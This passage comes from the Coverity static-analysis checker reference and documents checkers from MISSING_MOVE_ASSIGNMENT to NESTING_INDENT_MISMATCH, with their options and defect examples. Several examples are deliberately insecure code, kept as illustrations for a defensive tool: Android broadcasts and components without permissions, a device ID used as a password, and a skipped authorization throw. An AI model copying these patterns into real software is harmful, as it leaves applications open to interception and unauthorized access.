percentage is set to 50 when two out of four accesses of v occur
with l, the checker will issue a defect. If set to 75, such a
scenario would not produce a defect report. Defaults
to MISSING_LOCK:lock_inference_threshold:76 (all
languages).
Example:
--checker-option MISSING_LOCK:lock_inference_threshold:50
You can use the __coverity_lock_alias__ modeling primitive to model C++ lock wrapper classes for this checker. For example:
struct Lock;
struct AutoLock {
nsAutoLock(Lock *a) {
__coverity_lock_alias__(this, a);
__coverity_exclusive_lock_acquire__(this);
}
~nsAutoLock() {
__coverity_exclusive_lock_release__(this);
}
void lock() {
__coverity_exclusive_lock_acquire__(this);
}
void unlock() {
__coverity_exclusive_lock_release__(this);
}
};See descriptions of these primitives in Section 6.1.11.1, “Adding models for concurrency checking”.
MISSING_MOVE_ASSIGNMENT reports cases where a class does not have a move assignment operator, and its copy assignment operator is found to be applied to rvalues. Moving rvalues, instead of copying them, can enhance program performance.
Background: C++11 introduced move semantics, which allows programmers to avoid unnecessary copies when working with temporary objects that are about to evaporate, and whose resources can be safely taken from that temporary object and used by another. Those temporary objects are produced by rvalue expressions.
Enabled by default: MISSING_MOVE_ASSIGNMENT is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more MISSING_MOVE_ASSIGNMENT examples.
struct S { //#defect#MISSING_MOVE_ASSIGNMENT
S() {
p = new int(0);
}
S(const S &other) {
p = new int;
*p = *other.p;
}
~S() {
delete p;
}
S& operator=(const S &other) {
*p = *other.p;
return *this;
}
int *p;
};
int main() {
S s;
s = S(); // example of copy assignment operator being applied to rvalue
return 0;
}The following example demonstrates the usage of option
report_no_dtor_free:
struct dtor_no_free { // No defect when report_no_dtor_free is false.
// Defect when report_no_dtor_free is true.
dtor_no_free() {}
dtor_no_free(const dtor_no_free &other): p(other.p) {}
dtor_no_free& operator=(const dtor_no_free &other) {
p = other.p;
return *this;
}
~dtor_no_free() {}
std::string p;
};
int main() {
dtor_no_free d;
d = dtor_no_free();
return 0;
}This section describes one or more MISSING_MOVE_ASSIGNMENT options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MISSING_MOVE_ASSIGNMENT:report_no_dtor_free:<boolean> - When
this option is set to true, the checker reports cases of missing move
assignments even if there is no destructor that frees fields found in the class.
A class is considered to own resources if its destructor frees resources from
its fields, where a move is strongly preferred to a copy assignment when the
source can be moved. Otherwise, a move could be as efficient as a copy
assignment. Defaults to
MISSING_MOVE_ASSIGNMENT:report_no_dtor_free:true.
MISSING_MOVE_ASSIGNMENT:report_pre_cpp11:<boolean> - When this
option is set to true, the checker reports cases of missing move assignments
even if the code is not compiled as C++11. You can set this option to true to
explore possible defects in pre-C++11 code bases. Defaults to
MISSING_MOVE_ASSIGNMENT:report_pre_cpp11:false.
This section describes one or more events produced by the MISSING_MOVE_ASSIGNMENT checker.
missing_move_assignment - A class that has no move assignment
operator, and its copy assignment operator is found to be applied to
rvalues.
copy_assignment - An example that shows the class's copy
assignment operator is being applied to rvalues.
MISSING_PERMISSION_FOR_BROADCAST
reports a defect on code that sends a broadcast without setting a permission. Sending a
broadcast without requiring a permission allows a malicious application to receive that
broadcast. MISSING_PERMISSION_FOR_BROADCAST also reports a defect on code that registers a
BroadcastReceiver without setting a permission. Registering a
BroadcastReceiver without requiring a permission allows a malicious
application to send data to that BroadcastReceiver.
Broadcasts are Intent objects that are broadcast by calling
sendBroadcast, sendStickyBroadcast,
sendOrderedBroadcast, or other similar methods. The checker reports a
defect when no permission or a null permission is passed to the
send method.
MISSING_PERMISSION_FOR_BROADCAST will not report a defect if the target of the broadcasted
Intent object is determined to be in the same Android application as
the component sending the broadcast. The target of a broadcasted Intent
object can be restricted by calling one of the following methods on it:
setPackage, setComponent, setClass, or
setClassName.
One possible way to receive a broadcast is to register a
BroadcastReceiver by calling the registerReceiver method.
The checker reports a defect if no permission or a null permission is passed to the
registerReceiver method.
This checker does not report a defect on registering a BroadcastReceiver
if the IntentFilter used to register the BroadcastReceiver
contains only Intent actions that the analysis considers to be
protected.
Some examples of Intent actions that the analysis considers to be
protected:
android.intent.action.AIRPLANE_MODE
android.intent.action.BATTERY_CHANGED
android.intent.action.BATTERY_LOW
To specify additional protected Intent actions, see the android_protected_intent_actions
directive.
Disabled by default: MISSING_PERMISSION_FOR_BROADCAST is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Android security checker enablement: To enable MISSING_PERMISSION_FOR_BROADCAST
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
A MISSING_PERMISSION_FOR_BROADCAST defect shows the sending or receiving of a broadcast without requiring a permission.
For sending a broadcast without requiring a permission, the defect shows a call to
sendBroadcast, sendStickyBroadcast,
sendOrderedBroadcast, or other similar methods where the
permission argument is missing or determined to be
null.
For receiving a broadcast without requiring a permission, the defect shows a call to
registerReceiver where the permission argument is missing
or determined to be null.
This section provides one or more MISSING_PERMISSION_FOR_BROADCAST examples.
In the following example:
The sendIntent
Intent object is not restricted to the current application, and it
is broadcast without requiring a permission. A malicious application could
intercept this broadcast.
The viewIntent
Intent object is not restricted to the current application, and it
is broadcast with a null permission. A null permission
means that receiving the broadcast does not require a permission. A malicious
application could intercept this broadcast.
The refreshIntent
Intent object is restricted to the current application by calling
setPackage. A malicious application cannot intercept the
broadcast.
The updateIntent
Intent object is not restricted to the current application, but it
is broadcast with a non-null permission. Only an application that
has that permission can receive this broadcast.
Intent sendIntent = new Intent("com.example.SEND");
// Defect: MISSING_PERMISSION_FOR_BROADCAST
sendBroadcast(sendIntent);
Intent viewIntent = new Intent();
viewIntent.setAction("com.example.VIEW");
// Defect: MISSING_PERMISSION_FOR_BROADCAST
sendBroadcast(viewIntent, null);
Intent refreshIntent = new Intent("com.example.REFRESH");
// The target of the intent is restricted to the current application.
refreshIntent.setPackage(this.getPackageName());
// No defect: MISSING_PERMISSION_FOR_BROADCAST
sendBroadcast(refreshIntent);
Intent updateIntent = new Intent("com.example.UPDATE");
// No defect: MISSING_PERMISSION_FOR_BROADCAST
sendBroadcast(updateIntent, "com.example.permission");In the following example:
The sendReceiver
BroadcastReceiver is registered without specifying a permission. A
malicious application could broadcast Intent objects to this
BroadcastReceiver.
The viewReceiver
BroadcastReceiver is registered with a null
permission. A null permission means that sending
Intent objects to this BroadcastReceiver does not
require a permission. A malicious application could broadcast
Intent objects to this BroadcastReceiver.
The refreshReceiver
BroadcastReceiver is registered with a permission.
Intent objects sent to this BroadcastReceiver can
only come applications that have that permission.
The airplaneReceiver
BroadcastReceiver is registered without specifying a permission.
Intent.ACTION_AIRPLANE_MODE_CHANGED is a protected
Intent action and the IntentFilter does not
contain other actions. Intent objects sent to this
BroadcastReceiver can only come from trusted sources.
BroadcastReceiver sendReceiver = new BroadcastReceiver() {
@Override
public void onReceive(final Context context, final Intent intent) {
// ...
}
};
// Defect: MISSING_PERMISSION_FOR_BROADCAST
registerReceiver(sendReceiver, new IntentFilter("com.example.SEND"));
BroadcastReceiver viewReceiver = new BroadcastReceiver() {
@Override
public void onReceive(final Context context, final Intent intent) {
// ...
}
};
IntentFilter viewFilter = new IntentFilter();
viewFilter.addAction("com.example.VIEW");
// Defect: MISSING_PERMISSION_FOR_BROADCAST
registerReceiver(viewReceiver, viewFilter, null, null);
BroadcastReceiver refreshReceiver = new BroadcastReceiver() {
@Override
public void onReceive(final Context context, final Intent intent) {
// ...
}
};
// The BroadcastReceiver is registered using a permission.
// No defect: MISSING_PERMISSION_FOR_BROADCAST
registerReceiver(refreshReceiver, new IntentFilter("com.example.REFRESH"), "com.example.permission", null);
BroadcastReceiver airplaneReceiver = new BroadcastReceiver() {
@Override
public void onReceive(final Context context, final Intent intent) {
// ...
}
};
// The IntentFilter contains only protected Intent actions.
// No defect: MISSING_PERMISSION_FOR_BROADCAST
registerReceiver(airplaneReceiver, new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));MISSING_PERMISSION_ON_EXPORTED_COMPONENT
reports a defect in an AndroidManifest.xml file on a component that
is enabled and exported, but that does not have a permission set. Exporting a component
without requiring a permission allows a malicious application to send data to that
component.
This checker does not report a defect on an Android application component if the
analysis determines that the component can only receive Intent objects from
trusted sources. In particular, if each intent-filter of the component
either contains a safe category or contains only protected Intent actions,
the analysis considers that the component can only receive Intent objects
from trusted sources.
Examples of categories that the analysis considers to be safe:
android.intent.category.HOME
android.intent.category.LAUNCHER
To specify additional safe categories, see the android_safe_categories directive.
Some examples of Intent actions that the analysis considers to be
protected:
android.intent.action.AIRPLANE_MODE
android.intent.action.BATTERY_CHANGED
android.intent.action.BATTERY_LOW
To specify additional protected Intent actions, see the android_protected_intent_actions
directive.
Disabled by default: MISSING_PERMISSION_ON_EXPORTED_COMPONENT is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Android security checker enablement: To enable MISSING_PERMISSION_ON_EXPORTED_COMPONENT
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
A MISSING_PERMISSION_ON_EXPORTED_COMPONENT defect shows an Android application component that is enabled, exported, and that does not require a permission. The associated events demonstrate that the component is enabled, exported, and does not require a permission.
This section provides one or more MISSING_PERMISSION_ON_EXPORTED_COMPONENT examples.
<application>
<!-- defect: MISSING_PERMISSION_ON_EXPORTED_COMPONENT -->
<receiver android:name="com.example.SampleReceiver" >
<intent-filter>
<action android:name="com.example.SEND" />
</intent-filter>
</receiver>
<!-- defect: MISSING_PERMISSION_ON_EXPORTED_COMPONENT -->
<provider
android:name="com.example.SampleProvider"
android:exported="true" >
</provider>
<!-- ... -->
</application>Here, the application as a whole is enabled by default and does not specify a permission.
The receiver com.example.SampleReceiver is enabled by default. It is also
exported by default because it has an intent-filter. Because the
application does not specify a permission and the receiver does not specify a
permission, sending Intent objects to the receiver does not require a
permission. A malicious application could send Intent objects to the
receiver.
The content provider com.example.SampleProvider is enabled by default and
it is also explicitly exported. Because the application does not specify a permission
and the content provider does not specify a permission, a read permission,
or a write permission, reading data from or writing data to the content
provider does not require a permission. A malicious application could read data from or
write data to the content provider.
This section describes one or more MISSING_PERMISSION_ON_EXPORTED_COMPONENT options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MISSING_PERMISSION_ON_EXPORTED_COMPONENT:require_provider_permissions:<specified_value>
- Indicates the conditions under which the checker will report a defect on any
enabled and exported providers. Valid values are listed below. Defaults to
MISSING_PERMISSION_ON_EXPORTED_COMPONENT:require_provider_permissions:any
Valid values
any: [Default] The checker reports a defect on any
enabled and exported provider that does not have
either a read
or a write permission set.
read: The checker reports a defect on any enabled and
exported provider that does not have a read permission
set.
write: The checker reports a defect on any enabled and
exported provider that does not have a write permission
set.
readwrite: The checker reports a defect on any enabled
and exported provider that does not have both a
read and a write permission set.
Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++
The C, C++, C#, Java, Objective-C, Objective-C++ checker finds many instances in which a non-local state of a program is altered for local use but inconsistently restored. Non-local state refers to anything that is not a local variable of a function or method and is not being used to return a value.
Enabled by default: MISSING_RESTORE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
There are two main patterns for MISSING_RESTORE issues:
Explicit saving, followed by modification and inconsistent restoration; for example:
local = non_local; // Save the non-local into a local variable.
non_local = 1; // Modify the non-local for local use.
// Do something dependent on 'non_local', usually involving a function call
if (condition)
return; // Conditionally do not restore 'non_local'.
non_local = local; // Otherwise, do restore it.Verification of an assumed preexisting value, followed by modification and inconsistent restoration. This pattern is used when the non-local variable has some default global "sentinel" value, for example:
if (non_local == 0) { // verify that the non-local is as expected
non_local = 1; // modify the non-local for local use
// do something dependent on 'non_local'
if (condition)
return; // conditionally don't restore 'non_local'
non_local = 0; // otherwise, do restore the original sentinel value
}Failing to restore non-local state can result in a range of later consequences, from none (if the unrestored value is not used later), to surprising and undesirable behavior (if the unrestored value is used by code that expects the previous non-local value), to crashes or exceptions (if the inadvertently unrestored local value goes out of scope or otherwise becomes invalid by the time it is later used).
This MISSING_RESTORE checker combines a number of heuristics to distinguish between cases in which seemingly inconsistent restoration of non-local state is intentional and when it is likely to indicate a bug. A common pattern in which conditional restoration is intentional occurs when the modification of a non-local state is provisional and can only be left in place if some later uncertain step succeeds. For C/C++, such code often looks as follows:
// Prepare to try essential step.
int save = p->m; // In case we need to restore it upon failure.
p->m = new_value; // The change we want to keep.
// ...
if (something_that_may_fail(p)) {
// good, keep change to 'p->m'
// other stuff
return true; // success
}
// Failure: clean up
p->m = save;
return false;In such cases, along the "normal" or "success" path, the modified non-local value is retained, but on the "failure" path it is restored. There are many different ways "success" or "failure" can be encoded in the return value, and the checker attempts to identify a number of these. When the checker can establish which return values are associated with "success" (or, more generally, the "primary" result of the function or method) and which are associated with other results, it will only report inconsistencies along either the primary return value paths or along the other return value paths, but not between primary paths and other paths. That means that it will not report the preceding C++ example, but it will report the following C++ example:
// Prepare to try essential step.
int save = p->m; // In case we need to restore it upon failure.
p->m = new_value; // The change we wnat like to keep
// ...
if (something_that_may_fail(p)) {
// Good, keep change to 'p->m'.
// But...
if (!some_other_necessary_condition)
return false; // ERROR: Not restoring 'p->m' before returning false.
// Other stuff.
return true; // Success
}
// Failure: clean up
p->m = save;
return false;This heuristic does not cover all cases: Functions or methods might not return a value at all; the values they return might not form a pattern that the checker can identify; or the paths that restore and do not restore the non-local value might not be meaningfully correlated with return values at all.
This section provides one or more MISSING_RESTORE examples.
The following example assumes that the
report_uncorrelated_with_return option is set to true.
extern int refresh_mode;
void move(item_t *item)
{
int save_mode = refresh_mode;
refresh_mode = 0; /* reduce flicker */
if (!lock_for_move(item))
return; /* error: leaving 'refresh_mode' as 0 */
handle_move(item);
unlock_for_move(item);
refresh_mode = save_mode;
}The following example assumes that the
report_uncorrelated_with_return option is set to true.
static int refreshMode;
void move(Item item)
{
int saveMode = refreshMode;
refreshMode = 0; /* reduce flicker */
if (!lockForMove(item))
return; /* error: leaving 'refreshMode' as 0 */
handleMove(item);
unlockForMove(item);
refreshMode = saveMode;
}The following example assumes that the
report_uncorrelated_with_return option is set to true.
static int refreshMode;
public void move(Item item) throws LockException {
int save_mode = refreshMode;
refreshMode = 0;
lockForMove(item); // can throw LockException, leaving 'refresh_mode' as 0
handleMove(item);
unlockForMove(item);
refreshMode = save_mode;
}This section describes one or more MISSING_RESTORE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MISSING_RESTORE:report_restore_not_dominated_by_modify:<boolean>
- By default the checker only reports cases where the non-local variable is
modified along all paths between the point where it is saved and the point where
it is restored. Such a modification is said to dominate the restoration. While
it is clear that the assignment of the local variable to the non-local is
genuinely a restoration in such cases, there are also cases that genuinely
restore even without such domination. Enabling this option causes such cases to be reported, but is also likely to
report some instances where either no genuine restore is occurring or it was
intentional to only restore under some conditions. Defaults to
MISSING_RESTORE:report_restore_not_dominated_by_modify:false
MISSING_RESTORE:report_uncorrelated_with_return:<boolean>
- When the restoration of non-local state is not correlated with the return
value of the function or method, there is a greater chance that the behavior is
intentional. When set to true, this
option expands reporting of software issues to such cases. By
default, this option otherwise limits reporting to cases in which the checker
can both recognize a pattern in the different return values from the function or
method, and establish a correlation between different return values and whether
restoration is likely to be expected for any given return value. Defaults to
MISSING_RESTORE:report_uncorrelated_with_return:false
Note that the checker treats the case in which a method or function throws an exception as more significant than any differences in return value. So if the method or function restores on some paths and fails to restore due to an exception on another path, the checker will always report the event as a defect, regardless of the value of this option.
This section describes one or more events produced by the MISSING_RESTORE checker.
compare - A non-local value is compared against an expected
"sentinel" value.
modify - A previously saved or compared non-local value is
modified.
end_of_path - The end of path was reached with the
unrestored, modified value of the non-local variable still in place.
restoration_example - An example along a different path where
the value of the non-local is restored.
exception - Indicates when control left the function or
method due to an exception thrown within a called function or method.
Supported Languages: C, C++, Objective-C, Objective-C++
MISSING_RETURN checker finds cases where a non-void function does not return a value, and optionally, when it returns more than one value.
Not returning a value, or returning multiple values, can result in unpredictable program behavior. Unreachable paths are not reported as a defect, even if there is no return value:
int fn(int x)
{
switch (x) {
case 5: return 4;
default: return 5;
}
// no return; but not a defect, since unreachable
}Enabled by default: MISSING_RETURN is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more MISSING_RETURN examples.
int fn(int x) {
if (x == 5)
return 4;
else if (x == 3)
return 2;
} // missing_return
The next example uses the only_one_return
option.
int fn(int x) {
if (x == 5)
return 4; // extra_return
else if (x == 3)
return 2; // extra_return
return 0; // extra_return
}This section describes one or more MISSING_RETURN options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MISSING_RETURN:only_one_return:<boolean> - If this
option is set to true, the
checker reports cases where a function has more than one return statement.
Defaults to
MISSING_RETURN:only_one_return:false
MISSING_RETURN:ignore_void:<boolean> - If this option is set to true, the checker
ignores only_one_return cases for functions that do not return
a value. (See the only_one_return option for details.) Defaults to
MISSING_RETURN:ignore_void:true
MISSING_THROW finds instances of exception objects that are being created but never thrown. It reports a defect when a statement consists only of the creation of an exception object. Failure to throw an exception when one is intended can lead to incorrect program behavior. In particular, if the exception was intended to prevent subsequent code from executing, a missing throw can cause undesired code execution.
Enabled by default: MISSING_THROW is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more MISSING_THROW examples.
The developer of the following code intends for the user to be authorized by
VerifyAuthorization(user), which throws a
SecurityException. The developer intends to wrap that exception in
its own exception class and throw the new exception, but has neglected to throw it.
The dangerous operation will execute regardless of whether the user is authorized.
void DoSomething(User user)
{
try
{
VerifyAuthorization(user);
}
catch(SecurityException ex)
{
new WrapperException(ex); // Defect here
}
DoSomethingDangerous();
}Supported Languages: C, C++, Objective-C, Objective-C++
MIXED_ENUMS
reports cases in which a symbol (such as a variable, field or member, or function) is
treated as two different enum types in different places. In some cases, the
symbol is explicitly declared to be an enum type. In others, the checker
infers that a symbol that is declared only to have an integer type is effectively an
enum type.
This type inferencing process identifies places where one of the following is true:
The symbol is the recipient or source of a value in an assignment statement.
The symbol is returned by a function.
The symbol is passed as an argument.
The symbol is compared against something.
The symbol is cast.
Disabled by default: MIXED_ENUMS is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
In C, type checking of enum types
is extremely weak. As a result, it is common to mix enum types without
casting. Even in C++, compilers do not perform type inferencing for integer type
expressions, so developers often do not use casts when intentionally mixing
enum types. In general, the cleanest way to eliminate intentional
MIXED_ENUMS defects is to explicitly cast when mixing enum types, even when
the declared type of a symbol is only an integer type.
This checker does not report a defect for uses of many common idioms that involve
enum types. For example, two different enum types are
treated as equivalent if the types contain the same enumeration constant values in the
same order. The checker does not report a defect in this case, which arises when a
library has one enum type that is defined in its public API and a
different, effectively equivalent enum type that is defined internally.
Ideally, the code would explicitly cast between the two enum types.
However, since such casts are usually not required by compilers, they are frequently
omitted from the code.
Another idiom builds one enum type on another by extending the range of
possible values. If one enum type contains a set of values that is adjacent
to the range of values of another enum type, the checker treats the two
enum types as disjoint, which means that they are non-overlapping sets
of values.
In some cases, an enum declaration is used as a convenient way to declare
symbolic constants, rather than to create a type. This practice is common in C code. In
the following example, an enum declaration has no tag, so the type that it
declares is unnamed (or effectively anonymous):
enum /* no tag here */ {
a_constant,
another_constant
};
Since the enumeration constants that are declared in such enums are often intended to
represent untyped integer values, the checker does not report mixing of these anonymous
enum types with other enum types. One potentially
undesirable side-effect of this heuristic follows: An enum type that has no
tag, but is used in a typedef or a variable declaration, is considered to
be anonymous, even though these untagged enum types are often used more
like real enum types. For example:
typedef enum /* no tag here */ {
one_enumeration_constant,
another_enumeration_constant
} my_enum_type;
enum /* no tag here */ {
foo,
bar
} some_variable;If you do not use anonymous enums to declare untyped constants,
you can enable the report_anonymous_enums checker option to avoid
missing real defects that involve such types or variables.
This section provides one or more MIXED_ENUMS examples.
In the following example, the expression
being switched on has an enum type, and the enum type case
labels are not of that same type:
enum e {E1, E2};
enum f {F0, F1, F2, F3};
...
void foo(e ee) {
switch (ee) {
case E1:
...
case F2: /* Defect */
...
}
}In the following example, the expression being switch on is not itself an
enum type, and the case labels that are of enum types are
not of the same enum type:
void bar(int x) {
switch (x) {
case E1: /* Defect in conjunction with (see the second line that follows) ... */
...
case F2: /* ... this */
...
}
}This section describes one or more MIXED_ENUMS options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MIXED_ENUMS:report_equivalent_enums:<boolean> - If
this option is set to true, the
checker reports the mixing of different, effectively equivalent
enum types. Defaults to
MIXED_ENUMS:report_equivalent_enums:false
MIXED_ENUMS:report_disjoint_enums:<boolean> - If
this option is set to true, the
checker reports the mixing of different, disjoint enum types.
Defaults to
MIXED_ENUMS:report_disjoint_enums:false
MIXED_ENUMS:report_anonymous_enums:<boolean> - If
this option is set to true, the
checker reports the mixing of enumeration constants from unnamed (anonymous)
enum types with other enum types. Defaults to
MIXED_ENUMS:report_anonymous_enums:false
This section describes one or more events produced by the MIXED_ENUMS checker.
switch_on_enum - An enum type expression is the
operand of a switch statement.
first_enum_type - Use of an integer type expression in a
context involving an enum type implies that the expression
effectively has that enum type.
mixed_enums - An expression that was declared or inferred to
have an enum type is mixed with a different enum type
that is neither equivalent nor disjoint.
mixed_equivalent_enums - An expression that was declared or
inferred to have an enum type is mixed with a different,
effectively equivalent enum type.
mixed_disjoint_enums - An expression that was declared or
inferred to have an enum type is mixed with a different, disjoint
enum type.
MOBILE_ID_MISUSE reports a defect when a mobile device identifier is used in an authentication scheme. You can also set it to report on any code that obtains a mobile device identifier. Mobile device identifiers are predictable and should not be used as passwords, security tokens, cryptographic keys, or other values that need to be secure. An attacker could predict the mobile device identifier, then use it to authenticate and gain access to data and services.
Disabled by default: MOBILE_ID_MISUSE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Android security checker enablement: To enable MOBILE_ID_MISUSE
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
A MOBILE_ID_MISUSE defect shows a dataflow path in which a mobile device identifier is used in an authentication scheme. The path starts at the point where the mobile device identifier was obtained. From there, the events in the defect show how the mobile device identifier flows through the program, for example, from the argument of a function call to the parameter of the called function. Finally, the main event of the defect shows how the mobile device identifier is used in an authentication scheme.
This section provides one or more MOBILE_ID_MISUSE examples.
The following example obtains a mobile device identifier and uses it as a password for a new account.
public class MobileIdMisuse extends Activity {
public boolean addNewAccount(String accountName) {
TelephonyManager tm =
(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
if (tm == null) {
return false;
}
AccountManager am = AccountManager.get(this);
if (am == null) {
return false;
}
Account account = new Account(accountName, "SomeAccount");
String deviceId = tm.getDeviceId();
am.addAccountExplicitly(account, deviceId, null); // Defect here.
return true;
}
}This section describes one or more MOBILE_ID_MISUSE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MOBILE_ID_MISUSE:report_all_mobile_id_uses:<boolean> -
Setting this option to true causes the analysis
to report a defect on code that obtains a mobile device identifier. It does not
require evidence that the mobile device identifier is used in an authentication
scheme. Defaults to
MOBILE_ID_MISUSE:report_all_mobile_id_uses:false.
To model a method that returns a mobile device identifier, use the following source primitive:
com.coverity.primitives.SecurityPrimitives.sensitive_source(SensitiveDataType.SDT_MOBILE_ID)
To model a method with a parameter that is updated or implied to contain a mobile device identifier, use the following source primitive:
com.coverity.primitives.SecurityPrimitives.sensitive_source(<parameter>, SensitiveDataType.SDT_MOBILE_ID)
Additionally, you can use the
@SensitiveData(SensitiveDataType.SDT_MOBILE_ID) instead of
the source primitives (see @SensitiveData).
The parameter to this model primitive marks a password, cryptographic key, or security token:
com.coverity.primitives.SecurityPrimitives.mobile_id_misuse_sink(Object o)
Supported Languages: C, C++, Objective-C, Objective-C++
NEGATIVE_RETURNS finds many misuses of negative integers. Negative integers and function return values that can potentially be negative must be checked before being used (for example, as array indexes, loop bounds, algebraic expression variables or size/length arguments to a system call).
Negative integer misuses can cause memory corruption, process crashes, infinite loops, integer overflows, and security defects (if a user is able to control improperly checked input).
Common negative integer misuses include:
Assigning a negative value to a signed integer variable before using it as a static array index.
Using a negative function return value either directly or by casting it to an unsigned integer.
A signed, negative integer implicitly cast to an unsigned integer will yield a very large value. If that value is incorrectly bounds-checked before being used, a process can, for example, allocate too much memory, allow a loop to process too long, overrun and corrupt memory, or yield an integer overflow. These defects are inherently hard to detect because their repercussions may not immediately appear during process execution.
Enabled by default: NEGATIVE_RETURNS is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more NEGATIVE_RETURNS examples.
void basic_negative() {
int buff[1024];
int x = some_function(); // some_function() might return -1.
buff[x] = 0; // Defect: buffer underrun at buff[-1]
}void subtle_negative() {
unsigned x;
x = signed_count_func(); // Returns signed -1 on error.
// -1 cast to an unsigned is a very large integer.
loop_with_param(x); // Uses x as an upper bound.
// Defect: loop might never end or last too long.
}void another_subtle_negative(){
unsigned int c;
for (i = 0; (c=read(fd, buf, sizeof(buf)))>0; i+=c)
// read() returns -1 on error, c is now a very large integer
if (write(1, buf, c) != c) // Defect: Too many bytes written to stdout.
die("Write call failed");
}Incorrect inferences, either interprocedurally or within a single function, can cause
false positives. In the interprocedural case, you can write custom models to suppress a false positive. In the single function case, you can suppress the false
positive with the //coverity
code annotation.
NEGATIVE_RETURNS looks for two different types of incorrect interprocedural information:
A function return value could be negative.
A potentially negative value is used in a called function in a dangerous way.
For example, suppose Coverity Analysis analyzes the return_positive_value
function incorrectly and determines that it could return -1 when,
in fact, that is not possible. To suppress this false positive, you can add the
following model to the library:
int return_positive_value(void)
{
int ret;
assert(ret >= 0);
return ret;
}This
model indicates that the returned value is always non-negative. The second false positive type is possible if, for example, Coverity Analysis determines that a negative variable is used as an array index and is unable to infer a code bounds check. In this case, you can add a model to explicitly indicate that the function does do an appropriate bounds check:
int correct_bounds_check(int idx, int* buf)
{
assert(idx >= 0);
return buf[idx];
}This
model indicates that the index is always non-negative before being used.This section describes one or more events produced by the NEGATIVE_RETURNS checker.
Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, and Scala
(see note aboutfor in Scala
examples.) NESTING_INDENT_MISMATCH reports many cases where the
indentation structure of the code does not match the syntactic nesting. Often this is
caused by forgetting to add braces where they are optional, for example, around the body
of an if statement. The indentation of code implies a greater nesting level
than the syntax indicates.
NESTING_INDENT_MISMATCH only fires when the bad indentation is misleading; for example, when two statements are indented at the same level but are not in the same block.
Enabled by default: NESTING_INDENT_MISMATCH is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
There are three possible causes of this issue:
The code is logically incorrect because of incorrect nesting, but the indentation suggests that the developer intended to nest it properly.
The code is logically correct but excessively indented.
The code is correct as written but identified as an issue due to the use of unusual formatting. In this case, you should classify it as Intentional in Coverity Connect.
This checker also infers from indentation the so-called "dangling else" issue. In the
following example, it appears that the developer intended
do_something_else() to be the else of the first
if statement (that is, when condition1 is false). However,
the else is incorrectly written to apply to the second if
(that is, when condition1 is true and condition2 is false,
with nothing happening when condition1 is false):
if (condition1)
if (condition2)
do_something();
else // "dangling"
do_something_else();When the second if does not have its own else, this code
should be written as follows:
if (condition1)
{
if (condition2)
do_something();
}
else
do_something_else();Nesting code improperly can produce a broad range of effects. If a developer intends
to (but does not) nest a statement under an if statement, the code will be
executed unconditionally. If the statement was meant to be nested under a looping
statement (such as while or for), it will not be executed
within the body of the loop, and it will be unconditionally executed after the loop
terminates.
Although there is no run-time consequence to incorrect indentation, such misleading formatting can detract from the readability of code.
Fixing issues that arise from incorrect nesting is usually a matter of creating a block (by adding curly braces around the multiple statements that are all meant to be nested). In the case of a multi-statement macro, it is usually best to include the necessary curly braces in the macro definition itself. When the nesting level is correct, the code simply needs to be unindented.
The NESTING_INDENT_MISMATCH uses a tab stop based algorithm. The occurrence of a tab character in leading whitespace behaves as though there were enough spaces in the input to advance to the next tab stop.
Definitions:
leading whitespace: all spaces and tabs that occur before a statement on a line
space: ASCII 32
tab: horizontal tab (ASCII 9)
tab stop: the column on the screen to which a tab will advance the cursor
tab width: the number of characters between tab stops (8 is the hardcoded default)
Consider an old-style typewriter that has its tab stops set 8 spaces apart. If the typist hits the space bar twice and then the TAB key, the carriage advances to the 8th column, (whereas if the typist had typed a TAB and then two space characters, it would be on the 10th column). If the typist enters one more space and then TAB again, the carriage advances to the 16th column. If the typist then hits TAB once (advancing to the 24th column) and then hits a space, the typewriter is now on the 25th column. Another space puts it at the 26th column. If the typist then types: ACME, the word acme starts on the 26th column from the left. Shown with \s as spaces as \t as tabs, this series of input shows as:
\s[1]\s[2]\t[8]\t[16]\t[24]\s[25]\s[26]ACME
Now consider another means for ACME to start at the 26th column:
\t[8]\t[16]\t[24]\s[25]\s[26]ACME
In both cases above the NESTING_INDENT_MISMATCH checker considers ACME to start at the same position.
Given the source:
\s[1]\s[2]\t[8]\t[16]\t[24]if(some_condition) \s[1]\s[2]\t[8]\t[16]\t[24]\s[25]\s[26]do_thing_1(); \t[8]\t[16]\t[24]\s[25]\s[26]do_thing_2();
It appears to a user with tab width set to 8 as:
if(some_condition)
do_thing_1();
do_thing_2(); // #defect#NESTING_INDENT_MISMATCHThis section provides one or more NESTING_INDENT_MISMATCH examples.
In the following example, a parent
if statement with a non-compound then sub-statement
do_one_thing_conditionally(); (here called the nephew) is followed
by the statement do_another_thing_conditionally(); (here called the uncle because it is a
sibling of the parent, not the child, or
nephew). The indentation suggests that the developer intended to nest
do_another_thing_conditionally(); under the if statement
(as a sibling of nephew), when instead, it will be executed
unconditionally:
if (condition) /* parent */
do_one_thing_conditionally(); /* nephew */
